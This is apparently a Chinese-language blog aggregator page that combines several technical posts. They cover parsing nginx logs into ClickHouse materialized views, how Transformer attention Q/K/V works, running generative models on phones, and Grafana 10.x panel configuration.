UserAgent:    Dalvik/2.1.0 (Linux; U; Android 10; PBDM00 Build/QKQ1.190918.001)
Forwarded_For:  "-"
Gzip_Ratio:   "-"
Request_Time:  0.004
Upstream_Addr:  192.168.1.228:38007
Upstream_Status:   200
Upstream_Response_Time: 0.004
Row 6:
──────
UserAgent:  Driver/1 CFNetwork/1408.0.4 Darwin/22.5.0" "-" "-" 0.009 192.168.1.228:38007 200 0.009)
Forwarded_For:          
Gzip_Ratio:             
Request_Time: 0
Upstream_Addr:          
Upstream_Status:        
Upstream_Response_Time: 0

#别的字段还好,都是单个字段,user_agent比较复杂是由多个字段构成的。

第一种解决办法:将user_agent放到最后,然后sql就变成了,这里只展示差异部分

WITH
    splitByWhitespace(message) as split,
    splitByRegexp('\S \d+ "([^"]*)"', message) as referer
SELECT
    ......
        trim(BOTH '"' from referer[2]) AS UserAgent

#但是上面的这种方式显然不太友好,一般日志记录并不会把user_agent放到最后,这就改变了我们的传统查看习惯。

第二种解决办法:就是在nginx的日志格式中[user_agent]这样包一下,这样就可以正则切割的特殊标识了。

    log_format  main  '$http_host $remote_addr - $remote_user $time_iso8601 '
                      '$scheme "$request" $status $bytes_sent "$http_referer" '
                      '"[$http_user_agent]" "$http_x_forwarded_for" "$gzip_ratio" $request_time '
                      '$upstream_addr $upstream_status $upstream_response_time';

# /opt/soft/vector/bin/vector --config /opt/soft/vector/config/test/nginx.yaml   #重新采集一下

再看现在的日志格式就发生了变化:

app.test.cn 123.199.53.68 - - 2024-05-27T16:25:58+08:00 https "POST /app/uplog/ HTTP/1.1" 200 402 "-" "[Dalvik/2.1.0 (Linux; U; Android 12; LIO-AL00 Build/HUAWEILIO-AL00)]" "-" "-" 0.002 192.168.1.228:38007 200 0.001
app.test.cn 123.199.53.67- - 2024-05-27T16:26:40+08:00 http "POST /app/uplog/ HTTP/1.1" 200 402 "-" "[Dalvik/2.1.0 (Linux; U; Android 12; ANA-AN00 Build/HUAWEIANA-AN00)]" "-" "-" 0.004 192.168.1.228:38007 200 0.004

再执行下创建物理视图的sql语句,这次我们以时间排序ORDER BY TimeLocal,之前用IP排序,时间都是乱的看着很别扭:

CREATE MATERIALIZED VIEW nginxdb.access_logs_view
(
    HttpHost String, 
    RemoteAddr String,
    TimeLocal DateTime,
    HttpProtocol String,
    RequestMethod String,
    Request_Url String,
    Status Int32,
    BytesSent Int64,
    Http_Referer  String,
    UserAgent String,
    Forwarded_For String,
    Request_Time Float32,
    Upstream_Status String,
    Upstream_Response_Time Float32
)
ENGINE = MergeTree()
ORDER BY TimeLocal
POPULATE AS
WITH
    splitByWhitespace(splitByRegexp('\"\[',message)[1]) as split,
    splitByWhitespace(splitByRegexp('\]\"',message)[2]) as referer3,
    splitByRegexp('[\"\[\]\"]',message) as referer2
SELECT
    split[1] AS HttpHost,
    split[2] AS RemoteAddr,
    parseDateTimeBestEffort(split[5]) AS TimeLocal,
    trim(LEADING '"' FROM split[6]) AS HttpProtocol,
    split[7] AS RequestMethod,
    split[8] AS Request_Url,
    split[10] AS Status,
    split[11] AS BytesSent,
    split[12] AS Http_Refere,
    referer2[7] AS UserAgent,
    referer3[1] AS Forwarded_For,
    toFloat32OrZero(referer3[3]) AS Request_Time, 
    referer3[5] AS Upstream_Status,    
    toFloat32OrZero(referer3[6]) AS Upstream_Response_Time
FROM
    (SELECT message FROM nginxdb.access_logs)

来查看一下显示效果:

cluster_1S_2R node 1 :) select TimeLocal,UserAgent,Request_Time,Upstream_Response_Time from nginxdb.access_logs_view

image.png

July 16, 2024 07:07 AM

July 07, 2024

bang

Transformer 里的 Q K V 是什么

Transformer 作为新 AI 时代的基石,有必要深入了解下。网上对 Transformer 的教学文章/视频非常多,很多讲得很好,像 3Blue1Brown 的讲解视频,以及这篇文章。整个详细过程原理写不来,本文主要记录一下其中我觉得比较容易混淆的 Attention 模块运算过程,主要是里面的 Q K V 的概念/运算过程/作用。

1

这是 Transformer 架构图,左边是 encoder,右边是 decoder,实际 LLM 大模型是只由右边 decoder 构成,这里面大部分是常用的 Feed Forward(前馈网络)/ Add(残差连接)/ Norm(层归一化),核心还是 Multi-Head Attention 模块,我们来具体看看 Multi-Head Attention 模块里做了什么。

输入

假设一个字是一个 token,输入是”我有一个玩”(用于推测下一个字”具“),5 个字,每个字用一个向量表示,每个向量假设是 9 维(GPT3 是 12288 维),也就是用 9 个数值表示这个字,那每个词顺序排下来,就组成了 5 行 9 列的输入矩阵,称他为 X,每一行代表一个词。

2

6每一个圈圈代表一个数值。”我“字由蓝色的9个数值表示,“有”字是绿色的9个数值。这 9 个数值组成一个 9 维向量,这里每个字对应的向量值是一开始定好的,至于怎么定的不细说,可以看看相关文章。

这个输入矩阵经过 Multi-Head Attention 模块运算,输出另一个同宽高的矩阵,接下来详细看看这个运算过程。

3

权重矩阵 & Multi-Head Attention

Multi-Head Attention 是由多个 Self Attention 模块拼接而成,如果它只有一个 head,就是一个 Self Attension 模块。

Self Attention

Self Attention 模块里,会包含 Wq Wk Wv 三个参数权重矩阵,模型训练过程就是不断调整 Wq Wk Wv 里的数值。

这几个权重矩阵的行和列数,需要满足:

  1. 行数:输入矩阵 X 会与它们进行相乘,所以行数需要与输入词向量的维度匹配,也就是 9。
  2. 列数:Transformer 中整个 Attention 模块的输入数据和输出数据维度应该是一致的,才能多层重复叠加,从矩阵相乘特性知道,这些权重矩阵的列数也应该对齐词向量的维度,还是 9。

所以如果这里是单个 Self Attention,Wq Wk Wv 就是行数和列数都是与词向量维度一致的矩阵,也就是 9×9。

Multi-Head Attention

但这里希望模型能捕获到单词间的多种不同注意力,所以会把它拆出来再拼接。假设把它拆成 3 个 head,那就是能捕获到 3 种单词之间不同的关系。这里拆出来的 3 个 head 就是 3 个 Self Attention 模块,每个模块有自己的 Wq Wk Wv 矩阵,行列数是 9 x 3。这里每个 Self Attention 独自进行注意力运算后,再组合拼接。

4

这里文字描述得比较绕,见后续运算过程和结果的图示比较清晰。

Attention 运算过程

先来看这里每个 Self Attention 模块的运算过程。

这里输入向量分别与 Wq Wk Wv 相乘,得到新的矩阵 Q K V,Q(query) K(key) V(value) 名字已经对应了它的含义,看完它的运算过程后,再来补充下对它含义的理解。

可以认为这里 Q K V 这几个新的矩阵,每一行仍然是表示一个单词 token 向量,只是换了种表示 (矩阵的乘法特性,例如第一行里的每一个数据都是由原矩阵第一行与 W 矩阵运算得来,与其他行无关)。

下图是 Q 矩阵的运算过程,K V 的过程一样,只是 W 权重矩阵的值不同,略过。

5

接着要做的是,计算每一个单词对于其他单词的 Attention 系数,这是一个两两可重复排列组合。上面 5 个单词,每个单词都 K 矩阵里的自己以及其他所有单词逐一计算出一个值,生成一个 5 x 5 的矩阵。这个矩阵的计算方式就是 Q*KT(K的转置矩阵),由矩阵乘法特性可以看出,这样算出来的矩阵,就是单词之间的关系值,比如第一行第五列数值,就是“我”和“玩”之间的注意力关系值。下图用颜色表示这个过程。

6

相乘后对这个矩阵进行 softmax (在这之前还会除以 √dk 向量维度,可以先忽略),每一行的和都为1,这里的矩阵第 i 行的数据表示的是第 i 个单词与其他单词的关系,这里归一化后,数值可以表示理解为,从全文范围上,每个单词对这第 i 个单词的重要程度比例。

最后这里的 Attention 系数矩阵,与矩阵 V 相乘,得到的是新的结合了每个单词之间 Attention 信息的矩阵。输出的矩阵中每一行还是表示一个单词,但这个单词向量经过这里注意力运算后,每个单词向量都集合了上下文每个单词的注意力信息。

7

单独拆除这里的第一行看看它的意义,单词”我“跟每一个字的注意力权重,再乘以每个字在 V 矩阵里的向量表示,结果再相加,组成最后的结果。比如这里第一个字”我“跟第三个字”一“的权重是0.1,那”一“的向量值对运算后最后表示”我“这个字的向量结果影响很小,如果是 0 就是没有影响。

8

上述整个过程,可以用这个数学公式表示:

9

Multi-Head Attention 模块里每个 Self Attention 模块都做同样的运算(但里面的 Wq Wk Wv 权重不同,数值结果不同),拼接起来,形成最终的结果,这个结果矩阵里,每一行每个字的表示,都已经集合了与其他所有字的注意力关系信息。

10

整个过程实际上还有个掩码的机制,按上述运算,这里输出的每个单词向量都包含了上下文所有的信息,通过掩码机制,会变成每个单词只包含单词所在前面位置的信息,比如第二行“有”只包含了“我”和“有”的信息,没有后面”一“”个“”玩“的信息。这里不继续展开了。

这里每一行包含了前面所有单词的注意力信息,也就可以通过这里的表示预测下一个单词,所以从这个矩阵最后一行“玩”的向量数值,就可以用于预测对应下一个单词是什么。

整个 Multi-Head Attention 的运算过程大致是这样了。实际模型如 GPT3,单词向量维度是12288,上下文长度2048(每个 token 都要跟2048个token计算注意力),每个 Multi-Head Attention 分成 96 个 head,同时有 96 层叠加,也就是 96 个 Multi-Head Attention,运算量是巨大的。

Q K V 的作用

Q 可以理解为原输入的词数据,拿着这个数据找谁跟我有关系。K 是被找的数据,用于计算输入的每个词之间的关系。Q 和 K 是为了算出 Attention 关系系数,知道每个 K 的数据跟 Q 是什么关系。

如果 Q 和 K 是同个输入变换来的,那就是自注意力,如果是不同输入变换来,那就是交叉注意力,比如 Stable Diffusion 里 Unet 的交叉注意力模块中,Q 是文字 prompt,K 和 V 是图片信息,Q 与 K 计算的是文字与图片信息的 Attention 关系系数。

K 和 V 是同个数据源,这个数据源,从 Q 和 K 的运算知道每个 Q 与数据源的关系系数,再与数据源做运算就是把这个关系数据作用到源数据上,源数据去做相应偏移,也就是可以在 Q 的作用下对源数据做相应推测。

感想

为什么这样一个算法架构,能衍生出智能,而且这个架构能扩展到多模态,语音、图像、视频基于它都有非常好的效果?我个人理解,最核心有两个点:

  1. 上下文信息充足
  2. 并行计算能力强

其他算法架构如果能充分融入上下文信息,规模大了也能有智能,只是 Transformer 可并行运算的特性,让目前的计算机算力可以触摸到涌现的那个点。

by bang at July 07, 2024 12:55 PM

June 29, 2024

bang

AI 瞎想 – LUI交互/新计算机

LUI 交互

LUI (Language User Interface,自然语言 or 输入框为主的交互) 有几大缺点:

  1. 效率低(打字)or 隐私性差(语音)。
  2. 说话是填空题(要动脑),GUI 是选择题(可无脑选)。
  3. 难以精确表达。

这三点都是成本,如果一些场景想尝试 LUI 代替部分 GUI,需要时刻想好,如果用户得到的体验大于这几点成本,那就是合适的场景,否则不要勉强。

用 LUI 操作使用工具,模型能力(识别/执行能力)得在这个垂直领域靠近 AGI(代指跟人的识别和执行能力一致),或者能在这领域内限定在尽量小的范围内靠近 AGI,否则交互过程中模型不理解/无法执行带来的挫败,加上第一二点的成本,用户得到的体验大概率是负的。

微软copilot 尝试了GUI 为主,LUI为辅的方式。剪映的对话式剪辑尝试了以 LUI 为中心,GUI 为辅或者没有 GUI 的方式。目前看起来都没达到预期。原因自然是模型能力还达不到,识别和执行能力差。

视频剪辑/PPT制作 领域都太大,在这个大垂直领域模型要做到 AGI 的程度还太早,也是高估了短期模型能力的进步速度,需要把领域范围限定得更小,在这范围内用户的输入都能很好理解和执行,才可能跑通。

假如模型真达到 AGI 的程度,跟人的能力一样,是否视频剪辑用 LUI 是最好的方式?想象中不一定,工具能力不会是无限的,总有个范围,这个范围 GUI 能清楚地告诉你,LUI 很难,到时可能会有其他演化的交互配合 LUI。

新计算机

最近学习 transformer,看那些向量/矩阵的乘法,有种在学数字电路原理的感觉,要作类比的话,模型就是新的计算机,transformer 像芯片,SFT 像汇编,prompt 像 c 语言,往上 langchain/coze 是高级语言的尝试。原计算机是确定性计算,模型是概率性的模拟人脑的计算机。

但模型并没有遵循摩尔定律,18 个月性能翻一翻,GPU 运算能力确实每年性能都在暴涨,但模型的性能不是计算速度,而是理解能力。GPT-3.5 出来已经 18 个月了,GPT-4 已经 15 个月,模型能力的进步很有限,在这过程最大的变化只是开源模型逐渐追上,以及基于模型上层搭建的应用和生态上,基础模型能力没有大的突破。

我们预期模型性能能持续增强,基础是 Scaling Law,Llama3 训练中的最大参数量模型是4000亿,传闻 GPT4 参数量是1万亿,而人类大脑神经元突触连接有1000万亿(来源Wikipedia,也有说100万亿的),神经网络本身就是模仿大脑的构造,如果做类比有 100-1000 倍的差距,有很大的空间。Scaling Law 目前看还没收敛,能继续往这条路走,只是技术上的承接还没看到规律,无法形成新的摩尔定律,所以大家很期待 GPT-5,它能一定程度上让人判断模型的摩尔定律大概是什么节奏和速度。

图生成和视频生成领域,反而在过去18个月里有非常明显的提升,因为相对 LLM 它还在早期,而图像和视频的特性导致它早期也能有很好的应用。若 LLM 不顺利,图片视频能持续保持这提升速度,更有可能成为这几年的重点。

by bang at June 29, 2024 05:05 AM

June 28, 2024

hellogithub

HelloGitHub 第 99 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 42 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cPHP \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRuby \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

June 28, 2024 12:11 AM

June 11, 2024

bang

手机能跑图生成和 LLM 大模型吗


💡 能,但还比较勉强。

在客户端上跑大模型,一定是未来的趋势。

  1. 上个时代 AI 的核心应用是推荐系统,推荐是依赖海量数据的,海量数据只有服务端上存在,在推荐这主场景下客户端 AI 上能做的事很少,发展得比较吃力。
  2. 生成式 AI 时代,最大的应用就是模型本身,只有训练时依赖海量数据,使用时并不依赖数据,那理论上只要客户端硬件资源足够,在客户端使用,跟在服务端使用,场景和效果是一致的。
  3. 生成式 AI 在端上跑模型,最大的优势是成本。成本是当前生成式 AI 应用除了效果以外第二大关键因素,在用户客户端上跑模型,对服务提供方来说就是 0 成本,0 成本使更多场景大规模免费应用成为可能。其他的优势还包括 隐私保护、实时性、离线可用

硬件条件

那当前手机设备硬件条件如何?我们可以通过一些指标对手机和服务端的算力差距有个大概认识。

显存:一个模型能不能跑,取决于显存够不够,显存不够模型无法加载。

  1. 服务端一般用独立显卡,有独立显存。
  2. 手机通常使用系统级芯片 Soc(System on a Chip),无独立显卡,SoC 中包含了 CPU、GPU、基带等多个组件,使用统一内存架构允许 CPU 和 GPU 共享同一块内存,所以手机 GPU 显存跟手机内存是一个东西。

性能:而模型跑得快不快,取决于芯片性能怎样。

  1. 芯片性能取决于很多因素,例如芯片架构、显存带宽,而算力是其中一个,通常用TOPS(万亿次每秒 Tera Operations Per Second)指标来衡量算力。TOPS 默认是针对 INT8 整型数的处理次数,另一个指标 TFLOPS 是针对 Float32 浮点数的处理次数。
  2. 在通用 GPU 以外,现代芯片会搭载专门处理 AI 运算的硬件加速器,NVIDIA 是 Tensor Core,手机 SoC 芯片是 NPU (Neural Processing Unit 神经网络处理单元),以下是 Tensor Core 和 NPU 的运算性能指标。
  3. 不同芯片性能,特别是涉及不同芯片架构设计的,应该以实测数据作为对比,但当前缺乏这类数据,先用 TOPS 指标看个大概。

我们看看当前常用的英伟达各种显卡芯片,以及移动端设备芯片这几个指标的情况:

芯片 TOPS(INT8) 显存 搭载设备
服务端芯片 H100 2000 80G /
A100 624 80G /
NVIDIA A30 330 24G /
NVIDIA A10 250 24G /
移动设备芯片 骁龙8 Gen3 45 16G 小米14/一加12/荣耀6/Redmi K70 Pro
Apple M4 38 24G(iPad) iPad Pro / MacBook Pro
Apple A17 Pro 35 8G iPhone 15 Pro / Max
天玑9300 20 12G/16G vivo X100 / OPPO Find X7
Apple A15 15 6G iPhone 13 Pro Max
Apple M1 11 16G/32G MacBook Pro

手机内存显存与系统共用,正常能提供给 APP 使用的内存只有1/2~2/3,所以可以认为对 APP 来说,手机设备的可用内存需要减半,否则有内存不足 APP 被系统 kill 的风险,像 iPhone 15 Pro 预计是4G,小米14等高端机是8G。

生图模型要求

那当前主流的生图模型,对硬件的要求是怎样?

显存

Stable Diffusion XL base 参数量 3.5B(35 亿),精度 Float16(16位bits,2个字节),换算下来参数总大小 6.5G,实际文件大小6.94G,在模型推理过程中,参数得加载到显存中,也就是显存至少6.9G,同时在模型推理过程过程中,也有一些中间值需要保留在显存中,所以正常需要8G – 12G显存支持。

实测在 Macbook 跑起来,占用了10.3G。极端情况下,通过显存调度之类的技术在 4G 显存也能勉强跑起来,但会性能较差或不稳定。

这个显存要求,在 iPhone 15 Pro 基本是不满足的,Android 高端机整体内存普遍较大,勉强可以支持

性能

我在 A10 卡和 M1 MacBook Pro 上分别实测了下,SDXL base 模型生成 1024×1024 的图,A10大概6.4秒,M1 大概 95 秒。如果只看 TOPS 指标,A10 220TOPS 是 M1 11TOPS 的20倍,实测跑下来 95秒/6.4秒 = 14.8倍,也就是 M1 与 A10 的实际差距没那么大。

真实性能受各种因素影响,每个芯片有各自的优化方案,单用 TOPS 指标难以衡量,但可以看个大概。如果只看 TOPS 倍率,内存完全足够的情况下,搭载骁龙 8 Gen3 的小米 14 生成同样的图预计需要 17.6s,官方宣传15s左右。

芯片 TOPS SDXL 生图耗时 设备
NVIDIA A10 220 6.4s(实测) 服务器
Apple M1 11 95s~140s(实测) MacBook Pro
骁龙8 Gen3 45 17.6s(预估) 小米14

量化

原 SDXL 模型硬件要求高,但如果可以牺牲部分效果,是有办法对原模型做压缩,让它可以跑在低内存手机的。

模型为了成本、速度考虑,一般会进行不同程度的量化。量化就是降低模型参数的精度,神经网络模型中的参数通常使用32位浮点数 Float32 表示,但 Float32(4个字节) 存储大计算量也大,进一步可以压缩映射到更低的数值表示,包括 Float16、Int8、Int4 甚至 Int2 都有应用,只是会带来不同程度的效果损失。

模型量化后,参数需要的存储空间降低,所需要的显存跟着降低,而因为数据量小了,计算量也相应减小,模型推理速度也会加快。

Draw things 这个应用,将 SDXL base 模型量化到 Int8 的精度,模型大小 2G,可以跑在 4G 内存的 iPhone 上(APP 最多只能使用 2G 内存,为此作者做了系列优化)。实测 SDXL base Int8 模型 在 iPhone 13 Pro Max(A15,6G)上,生成 1024*768 的图需要 180s,跟它硬件 TOPS 算力差得有点多,可以认为是推理架构上为了节省内存做的妥协。

LLM 大模型要求

那在 LLM 大模型上,情况怎样?

我们拿阿里通义千问qwen的模型大概看下它 7B 和 72B 在不同量化下的大小。qwen 最大模型是 72B,而 llama3 最大是 400B(还在训练中),可以预估 400B 模型会是接近1T的体量。

如果拿400B模型对标GPT4,72B 模型对标 GPT3.5+,可以看到目前可用的 LLM 模型推理成本和硬件要求是非常高的,比图生成高几十倍。

模型 参数量 量化 大小 生成 2048 token 所需显存
Qwen 1.8B Int4 1.88G 2.9G
Int8 2.49G
Float16 3.6G
7B Int4 5.86G 8.2G
Int8 9.13G
Float16 15.41G
72B Int4 41.65G 48G
Int8 111.86G
Float16 144.18G
Stable Diffusion XL base 3.5B Float16 6.94G

qwen 最小的 1.8B 模型,生成 2048 个 token 最低需要 2.9G 显存,当前高端机是可以跑起来的。但 1.8B 效果差很多,预计只能预训练做特定任务。7B 可用性高一些,可以看到 7B 模型就没多少手机能支持了,骁龙8 Gen3 宣传号称 7B 模型推理每秒执行 20 个token,未搜到相关实测。

Google 用于端侧的 Gemini Nano 有 1.8B、3.25B 两种参数量。苹果之前放出来的 OpenELM 模型有 0.27B ~ 3B 的参数量,最新 iOS18 的 AI 模型估计用的就是 OpenELM,限制了只有最新 iPhone 15 Pro 能跑。

iOS Android 都在往系统级集成端侧 LLM 大模型这个方向做,系统集成有更多的硬件资源调度权限,在当前资源条件下容易先做起来,APP 能用到的资源有限,目前很难跑起来。

所以手机跑 LLM 大模型,用最小的模型,在最高端的手机上理论可行,实际应用还要再等等。

端模型问题

除了硬件理论情况,端模型也有一些问题待解决:

  1. 对服务提供方,有技术保密问题:在端上部署模型,模型、prompt、workflow 都是存储在本地,虽然可以做各种加密,但总能破解,如果服务方视这些为核心竞争力,那就难以以这种方案部署,更有可能的是端云协同的架构,部分运算放客户端,云端处理核心和保密部分。
  2. 对于手机用户:手机耗电、发热、耗时问题:大量运算跑满 GPU 必然导致手机发热严重耗电高,在持续使用的场景下体验会比云端差,手机芯片跑起来速度也会不如云端快,手机端系统需要做好资源控制和平衡。
  3. 生态问题:英伟达的CUDA、PyTorch 生态,相关工具链/社区,在端上都是需要重新建立的,当然只要有场景有诉求,这些可以补上,但需要时间。
  4. 场景和价格问题:能运行大模型的手机,在未来几年价格还是高的,目前还没有比较好的理由让用户接受这个溢价,对用户来说,像生图、修图、LLM当前服务端能提供最好的,在端侧跑模型体验没提升,就没必要溢价买个高端机,高端机平民化速度就会慢。在没有 killer APP 的情况下, 需要靠手机厂商和系统强推了,例如 iOS 18 新Siri 只在最高端机可使用。

结论

图生成硬件要求不算高,高端机已经摸到实际应用的门槛,预计再过一两年,硬件进一步提升,不追求效果极致的图生成应用场景,大部分会部署在客户端上。

LLM 硬件要求高,iOS/Android 系统级应用有条件接入,APP 基本还用不了。等系统应用被大众认知和接受,硬件普遍升级,才轮到 APP 端发挥。

当前过渡阶段,端云协同的方案会比较多,预计也会存在很长一段时间。例如图生成,可以将部分运算(比如 VAE 编解码)放到端上,主生成流程放云端。iOS 18 Siri 也会判断如果用户输入的是简单指令,就不请求服务端,直接端模型生成。

by bang at June 11, 2024 11:35 AM

May 28, 2024

hellogithub

HelloGitHub 第 98 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 40 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (4)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (3)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

May 28, 2024 12:12 AM

May 15, 2024

51niux

Grafana10.x新版本图形使用二

#紧接上文,我们继续学习其他的常用图形

一、Grafana使用Prometheus

1.1 跟着官网学变量

#template variables改动还是挺多的跟着官网学习一下

Use query variables:

image.png

以选择使用几种不同的变量类型,但是Query类型的变量将向Prometheus查询metrics, labels, label values, a query result or a series(指标、标签、标签值、查询结果或一系列)的列表。选择Prometheus数据源查询类型并输入所需的输入:

#Query Type   Input(* required)   Description     Used API endpoints   #这是要介绍的四段内容
Label names:metric  返回与指定度量正则表达式匹配的所有标签名称的列表。  /api/v1/labels    
Label values:label*, metric  返回所有指标或可选指标中标签的标签值列表。/api/v1/label/label/values or /api/v1/series    
Metrics:metric  返回与指定度量正则表达式匹配的度量列表。  /api/v1/label/__name__/values    
Query result:query 返回查询的Prometheus查询结果列表。  /api/v1/query    
Series query:metric, label or both  返回与输入数据关联的时间序列列表。  /api/v1/series    
Classic query:classic query string  已弃用,变量查询编辑器的经典版本。使用如下语法输入具有查询类型的字符串:label_values(<metric>, <label>)  all

比如原来我们的变量:获取k8s集群列表的变量为Query:label_values(k8scluster)
现在变为下图:

image.png

再复杂一点,借助获取到的k8s cluster集群拿到每个集群的namespace,原来是:label_values(kube_pod_info{k8scluster="$Cluster"}, namespace)
现在变为下图的:

image.png

#当然如果你还是喜欢使用PromQL语句,Query type可以选择Series query类型

1.2  先跟着官网简单了解下Stat

stat可视化以单个感兴趣的值显示数据,例如一个系列的最新值或当前值。

Use a stat visualization when you need to:

一目了然地监视关键指标,例如应用程序的最新运行状况、应用程序中高优先级错误的数量或总销售额。
显示聚合数据,例如服务的平均响应时间。
突出显示高于正常阈值的值,以快速识别是否有任何指标超出了预期范围。

统计可视化支持多种显示数据的格式。支持的格式包括:

Single values - 最常见的格式,可以是数值、字符串或布尔值。
Time-series data - 可以将计算类型应用于时间序列数据,以显示指定时间范围内的单个值。

Stat styles

Orientation(取向)

选择堆叠方向。

Auto:Grafana选择它认为最好的方向。
Horizontal:水平拉伸,从左到右。
Vertical:垂直拉伸,从上到下。

Text mode(文本模式)

可以使用Text模式选项来控制可视化呈现的文本。如果值不重要,只有名称和颜色重要,则将“Text mode”更改为“Name”。该值仍将用于确定颜色,并显示在工具提示中。

Auto:如果数据包含多个系列或字段,则同时显示名称和值。
Value:只显示值,不显示名称。名称将显示在悬停工具提示中。
Value and name:始终显示值和名称。
Name:显示名称而不是值。值显示在悬停工具提示中。
None:不显示任何内容(空)。名称和值将显示在悬停工具提示中。

Color mode(颜色模式)

None #不给值应用颜色
Value #给值和应用区域应用颜色
Background Gradient #背景颜色渐变,将颜色应用于值、图形区域和背景,并带有轻微的背景渐变。
Background Solid #将颜色应用于值、图形区域和背景,背景色为纯色。

Graph mode(图模式)

选择graph and sparkline得模式

None #隐藏的图形,只显示值
Area  #显示值下方的面积图。这要求你的查询返回一个时间列。

Text alignment(文本对齐方式)

选择一种对齐方式。

Auto #如果只显示一个值(不重复),则该值居中。如果显示多个序列或行,则该值为左对齐。
Center #统计值居中

Show percent change(显示百分比变化)

设置是否显示更改百分比。默认为关闭。

Text size

Title #输入仪表标题大小的数值
Value #输入仪表值大小的数值

Standard options(规格的选择)

面板编辑器窗格中的标准选项允许你更改字段数据在可视化中的显示方式。当你设置标准选项时,更改将应用于所有字段或系列。可以自定义以下标准选项:

Unit #选择字段应该使用的单位
Min/Max #设置百分比阈值计算中使用的最小和最大值,或者将这些字段保留为空,以便自动计算
Field min/max #启用Field min/max让Grafana根据字段的最小值或最大值单独计算每个字段的最小值或最大值
Decimals #指定Grafana在渲染值中包含的小数位数
Display name #设置所有字段的显示标题。可以在字段标题中使用变量
Color scheme #为整个可视化设置单个或多个颜色
No value #如果字段值为空或为null,请输入Grafana应显示的内容。默认值为连字符(-)

Data links(数据链接)

数据链接允许你链接到其他面板、面板和外部资源,同时维护源面板的上下文。你可以创建包含系列名称甚至光标下的值的链接。对于每个数据链接,设置以下选项:

Title
URL
Open in new tab

Value mappings(值的映射)

值映射是一种可以用于更改数据在可视化中的显示方式的技术。对于每个值映射,设置以下选项:

Condition #选择映射到显示文本和(可选的)颜色的内容:Value、Range、Regex、Special(特殊值如 Null, NaN (not a number), or布尔值如true或false)
Display text
Color (可选)
Icon (仅限Canvas)

Thresholds(阈值)

阈值是你为指标设置的值或限制,当达到或超过该值时,会在视觉上反映出来。阈值是一种可以根据查询结果有条件地设置可视化样式和颜色的方法。设置以下选项:

Value #设置每个阀值的值
Thresholds mode(阀值的模式选择):Absolute(绝对值)和Percentage(百分比)

Field overrides(字段覆盖)

覆盖允许你自定义特定字段或系列的可视化设置。当你添加覆盖规则时,它针对一组特定的字段,并允许你为该字段的显示方式定义多个选项。选择以下覆盖选项之一:

Fields with name #从所有可用字段的列表中选择一个字段
Fields with name matching regex #指定要用正则表达式覆盖的字段
Fields with type #按类型选择字段,如字符串、数字或时间
Fields returned by query #选择查询返回的所有字段,如A、B或C
Fields with values #选择由定义的reducer条件返回的所有字段,例如Min, Max, Count, Total

1.3 创建一个Stat图形

#下面是一个出图例子:

image.png

#Color scheme选择Classic palette或者去Thresholds里面去掉阀值上限只留Base,图中的value颜色就不会随着阀值而改变了,看用途。

#下面是一个关于pod运行状态的出图展示(通过图形可以一目了然了解当然pod得运行状态)

image.png

博文来自:www.51niux.com

1.4 创建一个Text 图形

#比方说你想在dashboard面板中添加一个介绍,点击就能跳转到你制定的URL,就可以用这个:

image.pngimage.png

Mode(决定嵌入内容的显示方式):

Markdown #此选项将内容格式化为markdown
HTML #该设置将内容呈现为经过处理的HTML
Code #此设置在只读代码编辑器中呈现内容。选择适当的语言对嵌入文本应用语法高亮显示。

二、使用Table图形

#这是一个很重要的图标还是单开一个章节进行介绍吧

2.1 跟着官网了解一下都有哪些选项

表格非常灵活,支持时间序列、表、注释和原始JSON数据的多种模式。table中目前不支持注释和警报。

列排序:单击列标题可将排序顺序从默认的降序更改为升序。每次单击时,排序顺序将更改为循环中的下一个选项。按住shift键并单击列名,可以对多个列进行排序。

Table options(表格选项)

Show header:显示或隐藏从数据源导入的列名。

Cell height: 单元格高度(Small/Medium/Large)

Enable pagination:启用分页,默认是关闭状态

Column width:列宽,默认情况下,Grafana根据表大小和最小列宽度自动计算列宽度。输入数字比如100那么列就被设置为100像素宽。

Minimum column width:最小列宽,默认是150像素。

